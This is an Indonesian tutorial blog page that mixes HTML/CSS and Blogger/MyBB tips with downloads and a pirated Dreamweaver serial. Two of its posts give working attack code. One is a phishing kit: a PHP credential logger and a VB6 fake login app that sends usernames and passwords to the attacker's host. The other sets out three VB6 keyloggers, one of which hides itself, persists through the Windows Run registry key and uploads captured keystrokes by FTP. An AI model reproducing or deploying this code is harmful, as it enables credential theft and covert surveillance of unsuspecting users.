Loading...
KITA INI ADALAH OTONG
KITA GAK TAHU APA - APA GAN !
Notification !
ja nganba cai ni karen aya ngba cain ihan yaor angbod oh

Dasar HTML part 1

ok sekarang kita akan mempelajari tentang html



Yang pertama kita pelajari adalah mengedit format teks ,tetapi sebelum itu kita harus tahu dulu struktur dasar html yaitu :


<!DOCTYPE HTML>
<html>
<head>
<title>Untitled Document</title>
</head>

<body>
</body>
</html>

struktur di atas saya beri warna supaya kalian tahu mana awal tag dan akhir tagnya ,ok sekarang penjelasannya :

<!DOCTYPE HTML> = funsinyanyaitu untuk memberi tahu bahwa dokumen ini adalah html dan kode ini adalah html5 kalau html lain panjang sehingga saya memilih html5 dari pada yang lain karena susah di gunakan

<html> = awal tag html

<head> = haeder

<title> = judul web

<body> = content yang akan di tampilkan di web
    selesai deh ,sekarang kita lanjutkan format teks
    - Membuat sekelompok ataupun satu huruf bold(B)/ Huruf Tebal
    - Membuat sekelompok ataupun satu huruf mirig(i)
    - Mengubah ukuran sekelompok ataupun satu huruf

    A.  Membuat sekelompok ataupun satu huruf bold(B)/ Huruf Tebal

       Untuk membuat  sekelompok ataupun satu huruf bold(B)/ Huruf Tebal kita akan memakai kode berkut

    <b>Teks nya</b> atau 
    <p> teks biasa<b>teks yang di bold</b></p>
    Sekarang kalian masukan kode berikut ke dalam notepad
    <html>
    <head>
    <title>judul web</title>
    </head>
    <body>
    isi dengan kode di atas tadi
    </body>
    </html>
    dan save dengan nama
    latihanhtml1.html
    lalu buka dengan webbrowser kalian

    B. Membuat sekelompok ataupun satu huruf mirig(i)

       Caranya sama Seperti yang di atas akan tetapi kode yang kita gunakan bukan <b> tetapi <i>
    Contoh :
    <i>teksnya</i> atau <p>teks biasa<i>teks yang di miringkan</i></p>
    C. Mengubah ukuran sekelompok ataupun satu huruf

       Untuk mengubah ukuran dapat dengan banyak cara ,mulai dari cara menggunakan CSS dll
    tetapi yang kita bahas kali ini yaitu 2 cara,antara lain :
    - Dengan menggunakan heading
    - Megedit

    Cara pertama yaitu dengan menggunakan heading, Cara menggunakan heading yaitu
    contoh :
    <h1>heading 1
    <h2>heading 2
    <h3>heading 3
    <h4>heading 4
    <h5>heading 5
    <h6>heading 6
    Coaba kalian ulangi langkah yan tadi yang memasukan ke notepad lalu buka dengan webbrowser kalian.
    Cara kedua yaitu denganmengedit
    contoh :
    kode <p> adalah untuk membuat paragraf baru dan jika di edit agar paragraf yang di buat dengan kode <p> ini bisa di atur besarnya yaitu dengan cara Menyisipkan Style/CSS secara inline

       Sebernarnya kita sudah pernah membahas yang tadi di posting
    Dasar CSS #1 tapi saya akan membahasnya lagi di postingan kali ini

    Contoh Menyisipkan Style/CSS secara inline
    <html>
    <head>
    <title>judul web</title>
    <body>
    <p style="font-size:36px">b</p>
    </body>
    </html>
    ulangi langkah yang memasukan ke notepad
    Mungkin untuk kali ini saya hanya mengajarkan itu saya nanti akan yasa teruskan

    Mohon maaf untuk artikel kali ini jangan di Copas (Copy - Paste)

    Cara merubah cursor di Forum Mybb


    stelah sebelumnya saya membuat artikel Cara memrubah cursor di blog sekarang saya akan menjelaskan tentang Cara memrubah cursor di Forum Mybb
    scriptnya sama seperti pada blog tetapi di forum mybb beda penempatannya
    ok langsung.

    - masuk ke ACP(Admin Control Panel)
    - masuk ke template & style
    -  masuk ke template
    - pilih templatekalian
    - lalu klick Index Page Templates
    - pilih index
    - masukan kode berikut di bawah kode <body>
    <style type="text/css">
    body{cursor: url("URL gambar default"), auto;}
    body a:hover{cursor: url("URL gambar ketika menyentuh link"), auto;}
    </style>
    - simpan dan lihat hasilnya

    CMS - Cms free/gratis Untuk Membuat Forum

    Ni gan Yang Mau Bua Forum Silahkan Di pilih ,tpi ini yang free yang berbayar nanti di share

    1. MYBB

    Cms fee yang menurut ane paling bagus
    mybb singkatan dari MyBulletinBoard board
    Contoh Forum Yang Menggunakan CMS ini :
    http://hacker-newbie.org/
    http://garutcyber.org/forum/
    Website Resmi :
    http://www.mybb.com/

    2.PHPBB

    phpBB 1.0.0 dirilis pada 9 Desember 2000. Rilis terakhir dari versi 1.x adalah phpBB 1.4.4, yang dirilis pada tanggal 6 November 2001.

    phpBB 2.0.x mulai dikembangkan pada tanggal 17 Februari 2001. phpBB versi 2.0.0 dirilis pada 4 April 2002. Walaupun pada rilis pertama hanya mendukung PHP 3, saat ini phpBB versi 2.0 memerlukan PHP 4.0.3 atau lebih. Rilis terakhir untuk versi 2.0.x adalah versi 2.0.22 dirilis pada 23 Desember 2006. Rilis untuk versi 2.0.x saat ini hanya terbatas untuk bugs, gangguan dan perbaikan keamanan.

    Rilis terakhir untuk versi 3.x adalah 3.0 RC2 yang dirilis pada 24 Juni 2007. Saat ini, rilis terakhir phpBB 3.0 memerlukan PHP 4.3.3 atau lebih, dan kompatibel dengan PHP 5.

    Sumber : Wiki

    Website Resmi :
    http://www.phpbb.com/

    3. SMF

    SMF singkatan dari simplemachinesfoum

    Website resmi :
    http://www.simplemachines.org/

    4. Vanilla Forum

    CMS ini di buat sangat minimalis.

    Website Resmi :
    http://vanillaforums.org/

    5. AEF

    Singkatan dari Advance Electron Forums
    ane gag bgitu tahu CMS ini.

    Website Resmi :
    http://www.anelectron.com/

    Cara membuat Spoiler Seperti Kaskus Di Forum Mybb

    mungkin di antara kalian ada yang ke bingungan seperti saya sebelum mengetahui kode ini hahaha :D
    Saya juga pernah membuat forum dari cms mybb, saya juga pernah ke bingungan gara-gara spoiler pingin kayak kaskus tapi gak nemu-nemu tapi akhirnya saya dapat menemukannya ternyata DI BLOG SAYA SENDIRI YANG LAMA, saya nge post untuk Cara membuat spoiler di blog Hahaha :D
    dan setelah sedikit di modifikasi akhirnya bisa di pake deh di mybb :-)
    Ok langsung :
    - Masuk ke Admin CP
    - masuk ke Configuration
    - lalu ke myCode
    - buat code baru dengan cara mengklik add new myode
    - masukan di Regular Expression
    \[spoiler=(.*?)\](.*?)\[/spoiler\]
     - lalu masukan di Replacement
    <div><div style="margin: 5px;">
    <div class="smallfont" style="margin-bottom: 2px;"><i><span style="font-weight: bold;">Spoiler for $1</span></i><input value="Buka" style="margin: 0px; padding: 0px; width: 60px; font-size: 10px;" onclick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Tutup'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Buka'; }" type="button"/>
    </div>
    <div class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px;">
    <div style="display: none;">
    $2
    </div></div></div></div>
     - Simpan

    Cara menggunakan
    [spoiler=judulspoiler] isi spoiler [/spoiler]

    hasilnya :

    Spoiler For judul spoiler
    di sini isi spoiler

    Cara Membuat Blog/Website anti copas Copy Paste

    langsung deh ni masukin di bawah kode
    </head>


    <SCRIPT type="text/javascript">if (typeof document.onselectstart!="undefined") {document.onselectstart=new Function ("return false");}else{document.onmousedown=new Function ("return false");document.onmouseup=new Function ("return true");}</SCRIPT>

    Dasar untuk belajar CSS part1

    Alat yang di butuhkan :
    - browser
    - notepad

    ok gan sekarang yag kita akan pelajari adalah cara memasukan style/CSS ke dalam web kita
    untuk cara memasukan style/CSS ada 3 cara, yaitu :
    - dengan membuat link menuju ke style/css kita
    - dengan menyisipkannya di html
    - dengan memasukannya di tag html

    Penjelasan :
    Cara 1
    dengan membuat link menuju ke style/css kita
    contohnya :
    <script type="text/javascript" src="http://alamatnya.com/namacssnya.css"tipe ="text/css">



    Kalau dimasukan di kode html sehinggan menjadi :
    <html>
    <head>
    <title>judul web</title>
    <script type="text/javascript" src="http://alamatnya.com/namacssnya.css"tipe ="text/css">
     </head><body><p>Belajar CSS di Lahzblog </p></body>
    </html>

    Cara 2
    dengan menyisipkannya di html
    contohnya :

    <style type="text/css">
        html {
            overflow: hidden;
        }
        body {
            margin: 0px;
            padding: 0px;
            background: #000;
            position: absolute;
            width: 100%;
            height: 100%;
            filter: alpha(opacity=100);
        }
    </style>
     di masukan ke HTML menjadi


    <html>
    <head>
    <title>judul web</title>
    <style type="text/css">
    body {
    margin: 0px;
    padding: 0px;
    background: #000;
    position: absolute;
    width: 100%;
    height: 100%;
    filter: alpha(opacity=100);
    color:#fff;
    }
    </style>
    </head>
    <body>
    <p>Belajar CSS di Lahzblog</p>
    </body>
    </html>
    Coba kalian tulis kode di atas di notepad
    lalu save dengan namanya.html
    caranya saat memasukan nama filenya klik all file
    lalu berinama
    terserahkalian.html
    lalu klik kanan open with
    buka dengan browser kalian


     Cara 3
    dengan memasukannya di tag html
    Contohnya :
    <p style="color:#999999 ; text-align:center ;">teksnya</p>


    kode <p> adalah untuk membuat paragraf baru

    di masukan ke html menjadi
    <html>
    <head>
    <title>Judul Web</title>
    </head>

    <body>
    <p style="color:#999999 ; text-align:center ;">teksnya</p>
    </body>
    </html>

    Coba kalian tulis kode di atas di notepad
    lalu save dengan namanya.html
    caranya saat memasukan nama filenya klik all file
    lalu berinama
    terserahkalian.html
    lalu klik kanan open with
    buka dengan browser kalian

    Cara Uninstall Avast dengan Avast Unistall Untility

    ni buat yg mau ganti anti virus ane mo share Cara Uninstall Avast dengan Avast Unistall Untility

    - Jalankan progam unistall untility aswclear5.exe (bila Belum Punya Download Disini Passwordnya :lahzblog.blogspot.com)
    - pada saat memilih progam yg mau di unistall, pilih yg sesuai untuk di unistall
    - jika kamu menginstall avast di fonder yg berbeda, terus pilih fonder di mn kamu menginstall avast tersebut
    - klik tombol unistall. tunggu sampe selesai.
    - setelah avast ter unistall, semuanya akan terhapus pada saat kamu meRestart komputer

    AVG Anti-Virus FREE


    ni gan langsung download gan

    Disini Sumber

    Avast Pro v7.0.1426

    ni kenampakannya

    Download Disini Sumber

    Avast Free v7.0.1426

     Gak usah banya basa-basi langsing donlot



    Download Disini
    Sumber

    Cara Membuat Phising Aplication


    Pada posting kali ini saya akan mengajarkan tentang Phising program ini akan memberitahu apa yang di ketikan
    di textbox dan IP'y program ini biasa dijadikan para hacker untuk memancing user yang tergiur akan keuntungn yang diberian program ini
    misalnya si hacker membuat ini untuk ngehack token padahal program ini akan ngehack id user'y hahaha
    untuk membuat program ini kalian membutuhkan hosting kalau saya pake 1freehosting.com OK seperti biasa langsung praktek

    masuk ke hosting kalian lalu ke Filemanager lalu buat file dengan mengklik new File
    setelah itu masukan kode berikut

    <?php
    $datum=date('d-m-Y / h:i:s a');
    $email = $_GET[e];
    $password = $_GET[p];
    $ip = getenv ('REMOTE_ADDR');
    $fl = fopen('Terserahkalian.txt', 'a');
    fwrite($fl, "IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n");
    fclose($fl);
    $ref = $_SERVER['HTTP_REFERER'];
    header("location: $ref");
    ?>


    lalu simpan dengan nama terserah.php

    lalu buka VB6
    Dan siapkan form dan module, form diberi nama frmUtama dan module diberi nama modConnect
    lalu Masukan kode ini di modconnect  =

     Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

    Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _
    lpSFlags As Long, ByVal dwReserved As Long) As Long
    Const INTERNET_CONNECTION_MODEM = 1
    Const INTERNET_CONNECTION_LAN = 2
    Const INTERNET_CONNECTION_PROXY = 4
    Const INTERNET_CONNECTION_MODEM_BUSY = 8


    'Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState
    Function CekInternet(Optional connectMode As Integer) As Boolean
    Dim flags As Long
    CekInternet = InternetGetConnectedState(flags, 0)
    connectMode = flags
    End Function


    lalu di frmUtama masukan 2 textbox, 1 command button dan 1 label
    textbox pertama diberinama : txtUname
    textbox kedua diberinama : txtPass

    command button diberi nama : cmdLogin
    command button diberi caption : &Login

    label diberi nama : LBLInfo

    masukan kode ini kedalam form

    Private Sub Form_Load()
    lblInfo.Caption = "Memeriksa Koneksi Internet"
    If CekInternet = False Then
    lblInfo.Caption = "Maaf, Kmputer anda tidak terkoneksi ke internet"
    Else
    lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet"
    Me.Caption = "DI SINI CAPTION'Y"
    End If
    End Sub


    nah setelah itu klik 2x cmdLogin yg telah diberi caption Login tadi, dan masukan kode ini

    Dim user, pass As String
    Dim IE As Object
    user = LCase(txtUname.Text)
    pass = txtPass.Text

    If txtUname.Text = "" Then
    MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error"
    Else
    lblInfo.Caption = "Sedang Login ..."
    Set IE = CreateObject("InternetExplorer.Application")

    IE.Visible = 0
    IE.Navigate "http://DomainKalin/NamaFile.php?e=" & _
      user & "&p=" & pass

    Do While IE.Busy
    Sleep 200 'sleep terserah kalian
    Loop
    IE.Quit
    Set IE = Nothing

    lblInfo.Caption = "Username/Password Salah !"
    MsgBox "Username/Password Salah !", vbExclamation, "Error"
    End If


    Jangan lupa edit tulisan yang berwarna
    untuk melihat hasil nanti file PHP tadi akan membuat fi txt yang di berinama di file PHP tadi
    atau dengan cara

    http://domainkamu.com/file.txt/

    Sumber : Hacker Newbie

    cara membuat text area di blog

    ni sekarang saya akan memberitahu kalian cara membuat text area di blog
    caranya:

    masukan kode di bawah ini di mna saja

    bla ingin di simpan di postingan

    Cara membuat Tombol share melayang di blog

    kali ini saya akan memberi tahu Cara membuat Tombol share melayang di blog
    untuk membuat  Tombol share melayang di blog caranya masuk ke blogger
    tataletak > addgadget
    lalu masukan kode berikut



    Cara membuat Text Menonjol/Submit/Button di blog

    ni saya kasih kodenya
    Masukan kode di bawah di mna sja mau di html/javascript atau di posting

    <a href="URL"><input value="TEXT PADA TOMBOL" type="submit"></a>

    kalau untuk di posting klik html di sebelah compose


    text WARNA MERAH:ganti dengan  URL yang di tuju
    text WARNA BIRU     :ganti dengan text yang akan di tampilkan di tombol

    Cara membuat laman pada blog

    caranya mudah kok
    ni ikutin tutorial gambar


    Cara membuat Judul Blog Berubah-ubah/berjalan

    ok langsung saja :
    masukan kode berikut di html/Javascript
    <script language="JavaScript">
    <!--
    /*****Judul Blog Berjalan By Lahzblog.blogspot.com*****/

    function tb5_makeArray(n){
    this.length = n;
    return this.length;
    }



    tb5_messages = new tb5_makeArray(5);
    tb5_messages[0] = "__Lahz Blog__";
    tb5_messages[1] = "Welcome_To_Lahz_Blog ";
    tb5_messages[2] = "Terimakasih_Telah_Berkunjung";
    tb5_messages[3] = "jangan_lupa_comment";
    tb5_messages[4] = "Datang_Lagi_Nanti";
    tb5_rptType = 'infinite';
    tb5_rptNbr = 10;
    tb5_speed = 80;
    tb5_delay = 1200;
    var tb5_counter=1;
    var tb5_currMsg=0;
    var tb5_stsmsg="";
    function tb5_shuffle(arr){
    var k;
    for (i=0; i<arr.length; i++){
    k = Math.round(Math.random() * (arr.length - i - 1)) + i;
    temp = arr[i];arr[i]=arr[k];arr[k]=temp;
    }
    return arr;
    }
    tb5_arr = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
    tb5_sts = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
    for (var i=0; i<tb5_messages[tb5_currMsg].length; i++){
    tb5_arr[i] = i;
    tb5_sts[i] = "_";
    }
    tb5_arr = tb5_shuffle(tb5_arr);
    function tb5_init(n){
    var k;
    if (n == tb5_arr.length){
    if (tb5_currMsg == tb5_messages.length-1){
    if ((tb5_rptType == 'finite') && (tb5_counter==tb5_rptNbr)){
    clearTimeout(tb5_timerID);
    return;
    }
    tb5_counter++;
    tb5_currMsg=0;
    }
    else{
    tb5_currMsg++;
    }
    n=0;
    tb5_arr = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
    tb5_sts = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
    for (var i=0; i<tb5_messages[tb5_currMsg].length; i++){
    tb5_arr[i] = i;
    tb5_sts[i] = "_";
    }
    tb5_arr = tb5_shuffle(tb5_arr);
    tb5_sp=tb5_delay;
    }
    else{
    tb5_sp=tb5_speed;
    k = tb5_arr[n];
    tb5_sts[k] = tb5_messages[tb5_currMsg].charAt(k);
    tb5_stsmsg = "";
    for (var i=0; i<tb5_sts.length; i++)
    tb5_stsmsg += tb5_sts[i];
    document.title = tb5_stsmsg;
    n++;
    }
    tb5_timerID = setTimeout("tb5_init("+n+")", tb5_sp);
    }
    function tb5_randomizetitle(){
    tb5_init(0);
    }
    tb5_randomizetitle();

    //-->
    </script>

    - Ganti teks yang berwarna  dengan judul yang kalian inginkan
    - simpan dan lihat hasilnya

    Cara membuat ArchiveBlog Berscroll

    Sebelumnya saya telah menjelaskan cara membuat popularpost berscroll sekarang saya akan menjelaskan tentang Cara membuat ArchiveBlog Berscroll
    untuk membuat ArchiveBlog Berscroll cukup mudah
    caranya masuk ke blogger > Edit HTML
    lalu cari kode ]]>
    dan masukan kode dibawah ini di atas kode ]]>

    #BlogArchive1 .widget-content{
    height:300px;
    width:auto;
    overflow:auto;
    }
    Untuk Penjelasannya sama seperti cara membuat popularpost berscroll
    Sekian Cara membuat ArchiveBlog Berscroll

    Cara membuat Popular Post berscroll

    sekarang saya akan menjelaskan cara membuat popular post berscoll
    untuk demo blog saya ini
    ok langsung saja :

    - pertama pastinya masuk ke blogger
    -  lalu edit html
    - lalu cari kode ]]></b:skin>

    - lalu masukan kode di bawah ini diatas kode ]]></b:skin>
    #PopularPosts1 .widget-content{
    height:300px;
    width:auto;
    overflow:auto;
    }
     Keterangan :
    PopularPosts1 = Id Populerpostnya
    height:300px; = tingginya

    Cara Membuat/Memasang Like Box Di Blog

    ni sekarang saya akan menerangkan tentang cara memasang/membuat likebox di blog

    - Masuk ke Sini
    - Lalu pilih likebox
    - nanti akan seperti di bawah ini

    - URL to like kelian masukan alamat fanspage kalian atau blog kalian
    - Setalah selesai klick get code
    - nanti kalian akan diberi kode
    - masukan kode yang di atas di bawah kode <body>
    - sementara yang di bawah masukan di html/javascript
    - simpan dan lihat hasilnya

    3 cara membuat keylogger

    ni gan ane pnya 3 cara untuk membuat keylogger dengan visualbasic6 (VB6),

    cara yang pertama :
    pertama:pendekar:
    - Buka VB & pilih standardEXE
    - atur Form :
    Visible : false
    showintaskbar : false
    - Buat 2 timer
    - atur properti timer :
    * timer1 interval = 1
    * timer2 interval = 2
    - lalu masukan kode :

    Private Declare Function GetKeyPress Lib "user32" Alias "GetAsyncKeyState" (ByVal keyb As Long) As Integer
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

    Private Sub Timer1_Timer()
    For i = 1 To 255
    result = 0
    result = GetAsyncKeyState(i)
    If result = -32767 Then
    Text1.Text = Text1.Text + Chr(i)
    End If
    Next i
    End Sub

    Private Sub Timer2_Timer()
    If GetKeyPress(vbKeyA) Then
    Dim Savefile As Long
        Savefile = FreeFile
    Open "D:\xtricx.txt" For Output As #Savefile
    Print #Savefile, Text1.Text
    Close #Savefile
    End If
    End Sub

    Penjelasan :
    kode :
    Open "D:\xtricx.txt" For Output As #Savefil
    berfungsi untuk menyimpan hasil (xtricx.txt) adalah nama filenya,Sedangkan Kode :
    If GetKeyPress(vbKeyA) Then
    berfungsi apabila user menekan tombol A maka hasil akan disimpan :sinis:

    Cara ke dua
    - Buat 1 timer dan 1 textbox
    - ubah interval timer1 menjadi "1"
    - lalu masukan kode berikut

    Dim result As Integer

    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

    Private Sub Timer1_Timer()

    For i = 1 To 255
    result = 0
    result = GetAsyncKeyState(i)

    If result = -32767 Then
    Text1.Text = Text1.Text + Chr(i)
    End if
    Next i
    End Sub
    Cara 3
    untuk cara yang satu ini kodenya panjang gan ,
    1. jalankan VB dan pilih Standard EXE
    2. buat 6 buah timer dan satu buah textbox[beri nama textbox dengan "mated" tanpa tanda petik
    3. tekan CTRL + T untuk membuka Components window
    4. centang opsi Microsoft Internet Transfer Control 6.0
    5. tambahkan module ke program dengan klik menu Projects > Add Module dan ketik kode berikut:


    Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
    Declare Function SystemParamsLong Lib “user32″ Alias “SystemParametersInfoA” (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Long, ByVal fuWinIni As Long) As Long
    Const SPI_GETKEYBOARDSPEED = 10

    6. kode untuk:
    timer1
    ‘ fungsi ini digunakan untuk mencatat aktifitas penekanan tombol keyboard
    Private Sub Timer1_Timer()
    If GetAsyncKeyState(vbKeyA) Then
    mated = mated + “a”
    ElseIf GetAsyncKeyState(vbKeyB) Then
    mated = mated + “b”
    ElseIf GetAsyncKeyState(vbKeyC) Then
    mated = mated + “c”
    ElseIf GetAsyncKeyState(vbKeyD) Then
    mated = mated + “d”
    ElseIf GetAsyncKeyState(vbKeyE) Then
    mated = mated + “e”
    ElseIf GetAsyncKeyState(vbKeyF) Then
    mated = mated + “f”
    ElseIf GetAsyncKeyState(vbKeyG) Then
    mated = mated + “g”
    ElseIf GetAsyncKeyState(vbKeyH) Then
    mated = mated + “h”
    ElseIf GetAsyncKeyState(vbKeyI) Then
    mated = mated + “i”
    ElseIf GetAsyncKeyState(vbKeyJ) Then
    mated = mated + “j”
    ElseIf GetAsyncKeyState(vbKeyK) Then
    mated = mated + “k”
    ElseIf GetAsyncKeyState(vbKeyL) Then
    mated = mated + “l”
    ElseIf GetAsyncKeyState(vbKeyM) Then
    mated = mated + “m”
    ElseIf GetAsyncKeyState(vbKeyN) Then
    mated = mated + “n”
    ElseIf GetAsyncKeyState(vbKeyO) Then
    mated = mated + “o”
    ElseIf GetAsyncKeyState(vbKeyP) Then
    mated = mated + “p”
    ElseIf GetAsyncKeyState(vbKeyQ) Then
    mated = mated + “q”
    ElseIf GetAsyncKeyState(vbKeyR) Then
    mated = mated + “r”
    ElseIf GetAsyncKeyState(vbKeyS) Then
    mated = mated + “s”
    ElseIf GetAsyncKeyState(vbKeyT) Then
    mated = mated + “t”
    ElseIf GetAsyncKeyState(vbKeyU) Then
    mated = mated + “u”
    ElseIf GetAsyncKeyState(vbKeyV) Then
    mated = mated + “v”
    ElseIf GetAsyncKeyState(vbKeyW) Then
    mated = mated + “w”
    ElseIf GetAsyncKeyState(vbKeyX) Then
    mated = mated + “x”
    ElseIf GetAsyncKeyState(vbKeyY) Then
    mated = mated + “y”
    ElseIf GetAsyncKeyState(vbKeyZ) Then
    mated = mated + “z”
    ElseIf GetAsyncKeyState(vbKey0) Then
    mated = mated + “0″
    ElseIf GetAsyncKeyState(vbKey1) Then
    mated = mated + “1″
    ElseIf GetAsyncKeyState(vbKey2) Then
    mated = mated + “2″
    ElseIf GetAsyncKeyState(vbKey3) Then
    mated = mated + “3″
    ElseIf GetAsyncKeyState(vbKey4) Then
    mated = mated + “4″
    ElseIf GetAsyncKeyState(vbKey5) Then
    mated = mated + “5″
    ElseIf GetAsyncKeyState(vbKey6) Then
    mated = mated + “6″
    ElseIf GetAsyncKeyState(vbKey7) Then
    mated = mated + “7″
    ElseIf GetAsyncKeyState(vbKey8) Then
    mated = mated + “8″
    ElseIf GetAsyncKeyState(vbKey9) Then
    mated = mated + “9″
    ElseIf GetAsyncKeyState(vbKeyEscape) Then
    mated = mated + “<Esc>”
    ElseIf GetAsyncKeyState(vbKeySpace) Then
    mated = mated + “<Space>”
    ElseIf GetAsyncKeyState(vbKeyBack) Then
    mated = mated + “<BackSpace>”
    ElseIf GetAsyncKeyState(vbKeyDelete) Then
    mated = mated + “<Canc>”
    ElseIf GetAsyncKeyState(vbKeyDown) Then
    mated = mated + “<Arrow down>”
    ElseIf GetAsyncKeyState(vbKeyShift) Then
    mated = mated + “<Shift>”
    ElseIf GetAsyncKeyState(vbKeyTab) Then
    mated = mated + “<Tab>”
    ElseIf GetAsyncKeyState(vbKeyUp) Then
    mated = mated + “<Arrow Up>”
    ElseIf GetAsyncKeyState(vbKeyRight) Then
    mated = mated + “<Right Arrow>”
    ElseIf GetAsyncKeyState(vbKeyLeft) Then
    mated = mated + “<Left Arrow>”
    ElseIf GetAsyncKeyState(vbKeyPageUp) Then
    mated = mated + “<Page Up>”
    ElseIf GetAsyncKeyState(vbKeyPageDown) Then
    mated = mated + “<Page Down>”
    ElseIf GetAsyncKeyState(vbKeyF1) Then
    mated = mated + “<F1>”
    ElseIf GetAsyncKeyState(vbKeyF2) Then
    mated = mated + “<F2>”
    ElseIf GetAsyncKeyState(vbKeyF3) Then
    mated = mated + “<F3>”
    ElseIf GetAsyncKeyState(vbKeyF4) Then
    mated = mated + “<F4>”
    ElseIf GetAsyncKeyState(vbKeyF5) Then
    mated = mated + “<F5>”
    ElseIf GetAsyncKeyState(vbKeyF6) Then
    mated = mated + “<F6>”
    ElseIf GetAsyncKeyState(vbKeyF7) Then
    mated = mated + “<F7>”
    ElseIf GetAsyncKeyState(vbKeyF8) Then
    mated = mated + “<F8>”
    ElseIf GetAsyncKeyState(vbKeyF9) Then
    mated = mated + “<F9>”
    ElseIf GetAsyncKeyState(vbKeyF10) Then
    mated = mated + “<F10>”
    ElseIf GetAsyncKeyState(vbKeyF11) Then
    mated = mated + “<F11>”
    ElseIf GetAsyncKeyState(vbKeyF12) Then
    mated = mated + “<F12>”
    ElseIf GetAsyncKeyState(vbKeF13) Then
    mated = mated + “<F13>”
    ElseIf GetAsyncKeyState(vbKeyEnd) Then
    mated = mated + “<FINISH>”
    End If
    End Sub
    timer2
    Private Sub Timer2_Timer()
    Timer3.Enabled = True
    Timer2.Enabled = False
    End Sub
    timer3
    Private Sub Timer3_Timer()
    Timer4.Enabled = True
    Timer3.Enabled = False
    End Sub
    timer4
    Private Sub Timer4_Timer()
    Timer5.Enabled = True
    Timer4.Enabled = False
    End Sub
    timer5
    Private Sub Timer5_Timer()
    Timer6.Enabled = True
    Timer5.Enabled = False
    End Sub
    timer6
    Private Sub Timer6_Timer()
    Dim file As String
        Dim ftpwebsite As String
            account = “Akun_web_mu”
            pswd = “Pass_web_mu”
            ftpwebsite = “ftp://alamat_web_mu.com”
        Inet1.URL = ftpwebsite
        Inet1.UserName = account
        Inet1.Password = pswd
        file = “log.txt”
            Inet1.Execute Inet1.URL, “PUT C:\WINDOWS\system32\keylog.txt ” & file
        Do While Inet1.StillExecuting = True
              DoEvents
            Loop
    Timer6.Enabled = False
    Timer2.Enabled = True
    End Sub
    formPrivate Sub Form_Load()
    ‘ fungsi ini untuk membuat keylogg aktif saat windows dinyalakan
    Set reg = CreateObject(“Wscript.shell”)
    reg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\CTFloader”, App.Path & “\nama_keylogger.exe”
    Dim reani As Long
    Dim mated As String
    SystemParamsLong SPI_GETKEYBOARDSPEED, 0, reani, 0
    Timer1.Interval = reani + 150
    End Sub
    Private Sub mated_Change()
    Open “C:\WINDOWS\system32\keylogger.txt” For Output As #1
    Print #1, “Data KeyLogg – Reanimated Zone: ” & mated.Text & “, “
    Close #1
    End Sub
    Sekian

    Cara Membuat Alay Generator dengan Visual basic 6 [VB6]


    - Buat sebuah Module baru dan ketikkan :
    Public Function Alay(ByVal Str As String) As String
    Dim s As String, h As String, i As Integer
    Str = LCase(Str)
    For i = 1 To Len(Str)
    s = Mid(Str, i, 1)
    Select Case s
    Case "a": s = "àáâãäåÀÁÂÃÄÅ@4"
    Case "b": s = "ß8"
    Case "c": s = "çÇ¢"
    Case "d": s = "Ð"
    Case "e": s = "èéêëÈÉÊË£3"
    Case "g": s = "69"
    Case "i": s = "ìíîïÌÍÎÏ¡!1"
    Case "n": s = "ñÑ"
    Case "o": s = "òóôõöøÒÓÔÕÖØ0"
    Case "p": s = "þÞ"
    Case "s": s = "$§5"
    Case "t": s = "7"
    Case "u": s = "ùúûüÙÚÛܵ"
    Case "x": s = "×"
    Case "y": s = "ýÿÝ¥"
    Case Else: s = IIf(CInt(Rnd * 1) = 0, UCase(s), s)
    End Select

    Randomize
    h = h & Mid(s, CInt(Rnd * (Len(s) - 1)) + 1, 1)
    Next
    Alay = h
    End Function

    - Selanjutnya, buat sebuah Form baru dengan 2 buah kontrol TextBox didalamnya.

    Di bagian commandbuton masukan :

    Text2.Text = Alay(Text1.Text)

    - selesai.

    Cara Membuat Daftar Isi Blog

    Sekarang Saya akan menjelaskan tentang Cara membuat daftar isi blog. widget ini penting dalam suatu blog .untuk memudahkan navigasi visitor
    - Masuk ke Blogger
    - lalu ke Tataletak
    - tambah gadget dan tambahkan HTML/Javascript
    - lalu masukan Kode Berikut :
    <div style="overflow:auto;width:180px;height:300px;padding:10px;border:1px solid #eee"><script style="text/javascript" src="https://falah-isnan-project.googlecode.com/files/contents.js"></script><script src="http://URL blog agan/feeds/posts/default?max-results=9999&alt=json-in-script&callback=loadtoc"></script>
    </div>
    - Simpan Dan Lihathasilnya

    Free Download Macromedia DreamWeaver 8 + Plus Serial Number



    Macromedia Dreamweaver adalah sala satu software web editor yang interface (antar muka) untuk sekarang mungkin sedikit yang menggunakan software ini karena sekarang sudah banyak update dari adobe sampai sekarang yang terbaru yaitu CS6 , tapi gak apalah saya share soalnya kalo yang lama Copyrightnya udah ilang kali jadi saya share deh :)
    Klick here to Download

    Serialnya :
    WPD800-54232-80332-94711

    Membuat Efek Tampilan Loading Halaman [update]

    ok sekarang saya akan memberi tahu cara membuat efek Loading pada blog
    ok langsung saja :
    - yang pertama masukan kode jquery berikut di atas kode </head> jika kalian sudah memasangnya berarti kalian tidak perlu lagi memasangnya
    <script src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js' type='text/javascript'/>
    - masukan kode css dibawah ini di atas kode ]]</b:skin>
    #lahzloading{
